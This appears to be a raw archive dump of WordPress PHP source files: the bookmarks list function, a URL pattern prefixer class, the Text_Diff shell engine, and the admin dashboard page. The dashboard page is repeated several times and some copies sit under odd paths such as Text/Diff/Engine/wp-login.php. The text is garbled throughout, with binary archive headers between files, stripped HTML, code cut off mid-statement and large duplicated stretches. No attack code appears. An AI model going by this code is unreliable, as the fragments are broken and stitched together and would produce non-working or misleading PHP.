'Bookmarks'. * @type string $title_before The HTML or text to prepend to the $title_li string. Default '

    '. * @type string $title_after The HTML or text to append to the $title_li string. Default '

    '. * @type string|array $class The CSS class or an array of classes to use for the $title_li. * Default 'linkcat'. * @type string $category_before The HTML or text to prepend to $title_before if $categorize is true. * String must contain '%id' and '%class' to inherit the category ID and * the $class argument used for formatting in themes. * Default '
  • '. * @type string $category_after The HTML or text to append to $title_after if $categorize is true. * Default '
  • '. * @type string $category_orderby How to order the bookmark category based on term scheme if $categorize * is true. Default 'name'. * @type string $category_order Whether to order categories in ascending or descending order if * $categorize is true. Accepts 'ASC' (ascending) or 'DESC' (descending). * Default 'ASC'. * } * @return void|string Void if 'echo' argument is true, HTML list of bookmarks if 'echo' is false. */ function wp_list_bookmarks( $args = '' ) { $defaults = array( 'orderby' => 'name', 'order' => 'ASC', 'limit' => -1, 'category' => '', 'exclude_category' => '', 'category_name' => '', 'hide_invisible' => 1, 'show_updated' => 0, 'echo' => 1, 'categorize' => 1, 'title_li' => __( 'Bookmarks' ), 'title_before' => '

    ', 'title_after' => '

    ', 'category_orderby' => 'name', 'category_order' => 'ASC', 'class' => 'linkcat', 'category_before' => '
  • ', 'category_after' => '
  • ', ); $parsed_args = wp_parse_args( $args, $defaults ); $output = ''; if ( ! is_array( $parsed_args['class'] ) ) { $parsed_args['class'] = explode( ' ', $parsed_args['class'] ); } $parsed_args['class'] = array_map( 'sanitize_html_class', $parsed_args['class'] ); $parsed_args['class'] = trim( implode( ' ', $parsed_args['class'] ) ); if ( $parsed_args['categorize'] ) { $cats = get_terms( array( 'taxonomy' => 'link_category', 'name__like' => $parsed_args['category_name'], 'include' => $parsed_args['category'], 'exclude' => $parsed_args['exclude_category'], 'orderby' => $parsed_args['category_orderby'], 'order' => $parsed_args['category_order'], 'hierarchical' => 0, ) ); if ( empty( $cats ) ) { $parsed_args['categorize'] = false; } } if ( $parsed_args['categorize'] ) { // Split the bookmarks into ul's for each category. foreach ( (array) $cats as $cat ) { $params = array_merge( $parsed_args, array( 'category' => $cat->term_id ) ); $bookmarks = get_bookmarks( $params ); if ( empty( $bookmarks ) ) { continue; } $output .= str_replace( array( '%id', '%class' ), array( "linkcat-$cat->term_id", $parsed_args['class'] ), $parsed_args['category_before'] ); /** * Filters the category name. * * @since 2.2.0 * * @param string $cat_name The category name. */ $catname = apply_filters( 'link_category', $cat->name ); $output .= $parsed_args['title_before']; $output .= $catname; $output .= $parsed_args['title_after']; $output .= "\n\t\n"; $output .= $parsed_args['category_after'] . "\n"; } } else { // Output one single list using title_li for the title. $bookmarks = get_bookmarks( $parsed_args ); if ( ! empty( $bookmarks ) ) { if ( ! empty( $parsed_args['title_li'] ) ) { $output .= str_replace( array( '%id', '%class' ), array( 'linkcat-' . $parsed_args['category'], $parsed_args['class'] ), $parsed_args['category_before'] ); $output .= $parsed_args['title_before']; $output .= $parsed_args['title_li']; $output .= $parsed_args['title_after']; $output .= "\n\t\n"; $output .= $parsed_args['category_after'] . "\n"; } else { $output .= _walk_bookmarks( $bookmarks, $parsed_args ); } } } /** * Filters the bookmarks list before it is echoed or returned. * * @since 2.5.0 * * @param string $html The HTML list of bookmarks. */ $html = apply_filters( 'wp_list_bookmarks', $output ); if ( $parsed_args['echo'] ) { echo $html; } else { return $html; } } PK!-ÿ¢ÂÂ!class-wp-url-pattern-prefixer.phpnuȯÝí $base_path` pairs. * * @since 6.8.0 * @var array */ private $contexts; /** * Constructor. * * @since 6.8.0 * * @param array $contexts Optional. Map of `$context_string => $base_path` pairs. Default is the * contexts returned by the * {@see WP_URL_Pattern_Prefixer::get_default_contexts()} method. */ public function __construct( array $contexts = array() ) { if ( count( $contexts ) > 0 ) { $this->contexts = array_map( static function ( string $str ): string { return self::escape_pattern_string( trailingslashit( $str ) ); }, $contexts ); } else { $this->contexts = self::get_default_contexts(); } } /** * Prefixes the given URL path pattern with the base path for the given context. * * This ensures that these path patterns work correctly on WordPress subdirectory sites, for example in a multisite * network, or when WordPress itself is installed in a subdirectory of the hostname. * * The given URL path pattern is only prefixed if it does not already include the expected prefix. * * @since 6.8.0 * * @param string $path_pattern URL pattern starting with the path segment. * @param string $context Optional. Context to use for prefixing the path pattern. Default 'home'. * @return string URL pattern, prefixed as necessary. */ public function prefix_path_pattern( string $path_pattern, string $context = 'home' ): string { // If context path does not exist, the context is invalid. if ( ! isset( $this->contexts[ $context ] ) ) { _doing_it_wrong( __FUNCTION__, esc_html( sprintf( /* translators: %s: context string */ __( 'Invalid URL pattern context %s.' ), $context ) ), '6.8.0' ); return $path_pattern; } /* * In the event that the context path contains a :, ? or # (which can cause the URL pattern parser to switch to * another state, though only the latter two should be percent encoded anyway), it additionally needs to be * enclosed in grouping braces. The final forward slash (trailingslashit ensures there is one) affects the * meaning of the * wildcard, so is left outside the braces. */ $context_path = $this->contexts[ $context ]; $escaped_context_path = $context_path; if ( strcspn( $context_path, ':?#' ) !== strlen( $context_path ) ) { $escaped_context_path = '{' . substr( $context_path, 0, -1 ) . '}/'; } /* * If the path already starts with the context path (including '/'), remove it first * since it is about to be added back. */ if ( str_starts_with( $path_pattern, $context_path ) ) { $path_pattern = substr( $path_pattern, strlen( $context_path ) ); } return $escaped_context_path . ltrim( $path_pattern, '/' ); } /** * Returns the default contexts used by the class. * * @since 6.8.0 * * @return array Map of `$context_string => $base_path` pairs. */ public static function get_default_contexts(): array { return array( 'home' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( home_url( '/' ), PHP_URL_PATH ) ) ), 'site' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( site_url( '/' ), PHP_URL_PATH ) ) ), 'uploads' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( wp_upload_dir( null, false )['baseurl'], PHP_URL_PATH ) ) ), 'content' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( content_url(), PHP_URL_PATH ) ) ), 'plugins' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( plugins_url(), PHP_URL_PATH ) ) ), 'template' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( get_stylesheet_directory_uri(), PHP_URL_PATH ) ) ), 'stylesheet' => self::escape_pattern_string( trailingslashit( (string) wp_parse_url( get_template_directory_uri(), PHP_URL_PATH ) ) ), ); } /** * Escapes a string for use in a URL pattern component. * * @since 6.8.0 * @see https://urlpattern.spec.whatwg.org/#escape-a-pattern-string * * @param string $str String to be escaped. * @return string String with backslashes added where required. */ private static function escape_pattern_string( string $str ): string { return addcslashes( $str, '+*?:{}()\\' ); } } PK!]-A¬&&Text/Diff/Engine/index.phpnu„[µü¤home/wckrpri/www/wp-admin/index.php000064400000017270151644060340013347 0ustar00' . __( 'Welcome to your WordPress Dashboard!' ) . '

    '; $help .= '

    ' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '

    '; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '

    ' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '

    '; $help .= '

    ' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '

    ' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '

    '; $help .= '

    ' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '

    '; $help .= '

    ' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '

    '; $help .= '

    ' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '

    ' . __( 'The boxes on your Dashboard screen are:' ) . '

    '; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '

    ' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '

    '; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '

    ' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '

    '; } if ( current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '

    '; } $help .= '

    ' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '

    '; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '

    '; } $help .= '

    ' . sprintf( /* translators: %s: WordPress Planet URL. */ __( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ), __( 'https://planet.wordpress.org/' ) ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '%2$s', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '

    ' . __( 'For more information:' ) . '

    ' . '

    ' . __( 'Documentation on Dashboard' ) . '

    ' . '

    ' . __( 'Support forums' ) . '

    ' . '

    ' . $wp_version_text . '

    ' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

    'success', 'dismissible' => true, ) ); endif; endif; ?> user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?>
    ' . __( 'Welcome to your WordPress Dashboard!' ) . '

    '; $help .= '

    ' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '

    '; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '

    ' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '

    '; $help .= '

    ' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '

    ' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '

    '; $help .= '

    ' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '

    '; $help .= '

    ' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '

    '; $help .= '

    ' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '

    ' . __( 'The boxes on your Dashboard screen are:' ) . '

    '; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '

    ' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '

    '; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '

    ' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '

    '; } if ( current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '

    '; } $help .= '

    ' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '

    '; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '

    '; } $help .= '

    ' . sprintf( /* translators: %s: WordPress Planet URL. */ __( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ), __( 'https://planet.wordpress.org/' ) ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '%2$s', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '

    ' . __( 'For more information:' ) . '

    ' . '

    ' . __( 'Documentation on Dashboard' ) . '

    ' . '

    ' . __( 'Support forums' ) . '

    ' . '

    ' . $wp_version_text . '

    ' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

    'success', 'dismissible' => true, ) ); endif; endif; ?> user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?>
    ' . __( 'Welcome to your WordPress Dashboard!' ) . '

    '; $help .= '

    ' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '

    '; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '

    ' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '

    '; $help .= '

    ' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '

    ' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '

    '; $help .= '

    ' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '

    '; $help .= '

    ' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '

    '; $help .= '

    ' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '

    ' . __( 'The boxes on your Dashboard screen are:' ) . '

    '; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '

    ' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '

    '; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '

    ' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '

    '; } if ( current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '

    '; } $help .= '

    ' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '

    '; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '

    '; } $help .= '

    ' . sprintf( /* translators: %s: WordPress Planet URL. */ __( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ), __( 'https://planet.wordpress.org/' ) ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '%2$s', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '

    ' . __( 'For more information:' ) . '

    ' . '

    ' . __( 'Documentation on Dashboard' ) . '

    ' . '

    ' . __( 'Support forums' ) . '

    ' . '

    ' . $wp_version_text . '

    ' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

    'success', 'dismissible' => true, ) ); endif; endif; ?> user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?>
    ' . __( 'Welcome to your WordPress Dashboard!' ) . '

    '; $help .= '

    ' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '

    '; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '

    ' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '

    '; $help .= '

    ' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '

    ' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '

    '; $help .= '

    ' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '

    '; $help .= '

    ' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '

    '; $help .= '

    ' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '

    ' . __( 'The boxes on your Dashboard screen are:' ) . '

    '; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '

    ' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '

    '; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '

    ' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '

    '; } if ( current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '

    '; } $help .= '

    ' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '

    '; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '

    '; } $help .= '

    ' . sprintf( /* translators: %s: WordPress Planet URL. */ __( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ), __( 'https://planet.wordpress.org/' ) ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '%2$s', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '

    ' . __( 'For more information:' ) . '

    ' . '

    ' . __( 'Documentation on Dashboard' ) . '

    ' . '

    ' . __( 'Support forums' ) . '

    ' . '

    ' . $wp_version_text . '

    ' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

    'success', 'dismissible' => true, ) ); endif; endif; ?> user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?>
    ' . __( 'Welcome to your WordPress Dashboard!' ) . '

    '; $help .= '

    ' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '

    '; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '

    ' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '

    '; $help .= '

    ' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '

    ' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '

    '; $help .= '

    ' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '

    '; $help .= '

    ' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '

    '; $help .= '

    ' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '

    ' . __( 'The boxes on your Dashboard screen are:' ) . '

    '; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '

    ' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '

    '; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '

    ' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '

    '; } if ( current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '

    '; } $help .= '

    ' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '

    '; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '

    '; } $help .= '

    ' . sprintf( /* translators: %s: WordPress Planet URL. */ __( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ), __( 'https://planet.wordpress.org/' ) ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/documentation/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '%2$s', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '

    ' . __( 'For more information:' ) . '

    ' . '

    ' . __( 'Documentation on Dashboard' ) . '

    ' . '

    ' . __( 'Support forums' ) . '

    ' . '

    ' . $wp_version_text . '

    ' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

    'success', 'dismissible' => true, ) ); endif; endif; ?> user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?>
    * @package Text_Diff * @since 0.3.0 */ class Text_Diff_Engine_shell { /** * Path to the diff executable * * @var string */ var $_diffCommand = 'diff'; /** * Returns the array of differences. * * @param array $from_lines lines of text from old file * @param array $to_lines lines of text from new file * * @return array all changes made (array with Text_Diff_Op_* objects) */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $temp_dir = Text_Diff::_getTempDir(); // Execute gnu diff or similar to get a standard diff file. $from_file = tempnam($temp_dir, 'Text_Diff'); $to_file = tempnam($temp_dir, 'Text_Diff'); $fp = fopen($from_file, 'w'); fwrite($fp, implode("\n", $from_lines)); fclose($fp); $fp = fopen($to_file, 'w'); fwrite($fp, implode("\n", $to_lines)); fclose($fp); $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file); unlink($from_file); unlink($to_file); if (is_null($diff)) { // No changes were made return array(new Text_Diff_Op_copy($from_lines)); } $from_line_no = 1; $to_line_no = 1; $edits = array(); // Get changed lines by parsing something like: // 0a1,2 // 1,2c4,6 // 1,5d6 preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff, $matches, PREG_SET_ORDER); foreach ($matches as $match) { if (!isset($match[5])) { // This paren is not set every time (see regex). $match[5] = false; } if ($match[3] == 'a') { $from_line_no--; } if ($match[3] == 'd') { $to_line_no--; } if ($from_line_no < $match[1] || $to_line_no < $match[4]) { // copied lines assert($match[1] - $from_line_no == $match[4] - $to_line_no); array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $match[1] - 1), $this->_getLines($to_lines, $to_line_no, $match[4] - 1))); } switch ($match[3]) { case 'd': // deleted lines array_push($edits, new Text_Diff_Op_delete( $this->_getLines($from_lines, $from_line_no, $match[2]))); $to_line_no++; break; case 'c': // changed lines array_push($edits, new Text_Diff_Op_change( $this->_getLines($from_lines, $from_line_no, $match[2]), $this->_getLines($to_lines, $to_line_no, $match[5]))); break; case 'a': // added lines array_push($edits, new Text_Diff_Op_add( $this->_getLines($to_lines, $to_line_no, $match[5]))); $from_line_no++; break; } } if (!empty($from_lines)) { // Some lines might still be pending. Add them as copied array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $from_line_no + count($from_lines) - 1), $this->_getLines($to_lines, $to_line_no, $to_line_no + count($to_lines) - 1))); } return $edits; } /** * Get lines from either the old or new text * * @access private * * @param array $text_lines Either $from_lines or $to_lines (passed by reference). * @param int $line_no Current line number (passed by reference). * @param int $end Optional end line, when we want to chop more * than one line. * * @return array The chopped lines */ function _getLines(&$text_lines, &$line_no, $end = false) { if (!empty($end)) { $lines = array(); // We can shift even more while ($line_no <= $end) { array_push($lines, array_shift($text_lines)); $line_no++; } } else { $lines = array(array_shift($text_lines)); $line_no++; } return $lines; } } PK!]-A¬&&Text/Diff/Engine/wp-login.phpnu„[µü¤home/wckrpri/www/wp-admin/index.php000064400000017270151644060340013347 0ustar00' . __( 'Welcome to your WordPress Dashboard!' ) . '

    '; $help .= '

    ' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '

    '; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '

    ' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '

    '; $help .= '

    ' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '

    ' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '

    '; $help .= '

    ' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '

    '; $help .= '

    ' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '

    '; $help .= '

    ' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '

    '; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '

    ' . __( 'The boxes on your Dashboard screen are:' ) . '

    '; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '

    ' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '

    '; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '

    ' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '

    '; } if ( current_user_can( 'edit_posts' ) ) { $help .= '

    ' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '

